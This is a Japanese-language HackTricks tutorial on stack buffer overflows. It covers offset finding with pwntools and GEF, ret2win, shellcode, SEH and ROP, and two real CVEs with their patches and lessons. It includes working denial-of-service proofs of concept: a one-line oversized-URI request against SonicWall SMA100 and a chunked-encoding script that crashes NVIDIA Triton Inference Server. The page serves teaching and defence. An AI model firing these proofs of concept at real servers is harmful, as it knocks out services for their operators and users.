Stack Overflow
Reading time: 15 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Stack Overflowとは何か
stack overflowは、プログラムがスタックに割り当てられた容量以上のデータを書き込むと発生する脆弱性です。この余分なデータは隣接するメモリ領域を上書きし、有効なデータの破損、制御フローの混乱、場合によっては悪意のあるコードの実行につながります。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によって生じることが多いです。
この上書きの主な問題は、以前の関数に戻るためのsaved instruction pointer (EIP/RIP)とsaved base pointer (EBP/RBP)がスタック上に保存されていることです。したがって、攻撃者はそれらを上書きしてプログラムの実行フローを制御できるようになります。
この脆弱性は通常、関数がスタック内に割り当てられた以上のバイト数をコピーするために発生し、他のスタック領域を上書きできるようになります。
この脆弱性の影響を受けやすい一般的な関数には次のものがあります: strcpy, strcat, sprintf, gets... また、fgets, read, memcpy のように 長さ引数 を取る関数は、指定した長さが割り当てより大きい場合に脆弱な使われ方をすることがあります。
例えば、以下の関数は脆弱である可能性があります:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflow のオフセットを見つける
Stack overflows を見つける最も一般的な方法は、非常に大量の A を与えること(例: python3 -c 'print("A"*1000)')で、Segmentation Fault が発生して、アドレス 0x41414141 へのアクセスが試みられたことを確認することです。
さらに、Stack Overflow の脆弱性が見つかったら、return address を上書きできるまでのオフセットを特定する必要があります。そのために通常使われるのが De Bruijn sequence です。与えられたアルファベットのサイズ k と部分列の長さ n に対して、これは**長さ n のあらゆる可能な部分列がちょうど一度ずつ連続部分列として現れる巡回列(cyclic sequence)**です。
このように、どのオフセットで EIP を制御できるかを手作業で調べる代わりに、これらのシーケンスの一つをパディングとして使い、上書きされたバイトがどの位置にあったかを特定できます。
これには pwntools を使うことができます:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
または GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
オーバーフロー発生時(オーバーフローのサイズが十分に大きい場合)、stack 内のローカル変数の値を overwrite して保存された EBP/RBP and EIP/RIP (or even more) に到達できるようになります.\
この種の脆弱性を悪用する最も一般的な方法は、modifying the return address ことで、関数終了時にそのポインタにユーザが指定した場所へcontrol flow will be redirected wherever the user specified。
しかし、他のシナリオでは、単に overwriting some variables values in the stack するだけで脆弱性を悪用できる場合もあります(簡単な CTF チャレンジのような場合)。
Ret2win
このタイプの CTF チャレンジでは、バイナリ内に function inside で never called、そして you need to call in order to win という関数が存在します。これらのチャレンジでは、呼び出すために必要な offset to overwrite the return address を見つけ、呼び出すべき address of the function を特定するだけです(通常 ASLR は無効になっています)。脆弱な関数が return すると、隠された関数が呼び出されます:
Stack Shellcode
このシナリオでは、攻撃者は stack に shellcode を置き、制御された EIP/RIP を使って shellcode にジャンプし、任意のコードを実行できます:
Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows では、オーバーフローが保存されたリターンアドレスではなく Structured Exception Handler (SEH) チェーンを上書きする場合があります。エクスプロイトでは通常、SEH ポインタを POP POP RET gadget に置き換え、4 バイトの nSEH フィールドを短いジャンプに使用して shellcode が存在する大きなバッファへピボットします。一般的なパターンは、nSEH に短い jmp を入れ、nSEH の直前に配置した 5 バイトの near jmp に到達させて、ペイロードの先頭まで数百バイト戻るというものです。
ROP & Ret2... techniques
この手法は、前述の手法に対する主要な保護を回避するための基本的なフレームワークです:No executable stack (NX)。また、既存の命令を悪用して任意のコマンドを実行させる ret2lib、ret2syscall などの他の手法を行うことも可能にします:
Heap Overflows
オーバーフローが常に stack に起こるわけではなく、例えば heap に発生することもあります:
Types of protections
脆弱性の悪用を防ぐための様々な保護機構が存在します。詳細は次を参照してください:
Common Binary Exploitation Protections & Bypasses
実例: CVE-2025-40596 (SonicWall SMA100)
SonicWall の SMA100 SSL-VPN アプライアンスでは、2025 年に sscanf should never be trusted for parsing untrusted input を示す良い事例が発生しました。
脆弱なルーチンは /usr/src/EasyAccess/bin/httpd の内部にあり、/__api__/ で始まる任意の URI からバージョンとエンドポイントを抽出しようとします:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- 最初の変換 (
%2s) はversionに2バイトを安全に格納します(例: "v1")。 - 2番目の変換 (
%s) は長さ指定子がありません。したがってsscanfは最初の NUL byte までコピーし続けます。 endpointがstack上にあり、0x800 bytes longであるため、0x800バイトより長いパスを与えるとバッファ以降に置かれたもの―stack canary や saved return address を含む―がすべて破損します。
1行のPoCで認証前にクラッシュを引き起こすのに十分です:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
stack canaries がプロセスを中断させたとしても、攻撃者は依然として Denial-of-Service のプリミティブを獲得します(さらに追加の情報 leaks があれば、code-execution に至る可能性もあります)。教訓は簡単です:
- 常に 最大フィールド幅 を指定する(例:
%511s)。 snprintf/strncpy_sのようなより安全な代替を使用することを優先する。
実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) には、HTTP API を通じて到達可能な複数の stack-based overflows が含まれていました。
脆弱なパターンは http_server.cc と sagemaker_server.cc に繰り返し現れました:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) は現在の HTTP リクエストボディを構成する 内部バッファセグメントの数 を返します。- 各セグメントは
alloca()を介して 16-byte のevbuffer_iovecを stack 上に割り当てます – 上限がありません。 - HTTP chunked transfer-encoding を悪用することで、クライアントはリクエストを 数十万の6-byteチャンク (
"1\r\nA\r\n") に分割させることができます。これによりnは stack が枯渇するまで無制限に増加します。
概念実証 (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
約3MBのリクエストで保存されたリターンアドレスを上書きし、デフォルトのビルドではデーモンをクラッシュさせるのに十分です。
パッチと緩和策
25.07 リリースでは、安全でないスタック割り当てを**ヒープ上の std::vector**に置き換え、std::bad_alloc を適切に処理します:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
教訓:
- 攻撃者が制御するサイズで
alloca()を呼び出してはいけません。 - Chunked requests はサーバー側のバッファの形状を大幅に変える可能性があります。
- クライアント入力に由来する値は、メモリ割り当てに使用する前に必ず検証し、上限を設けてください。
参考資料
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks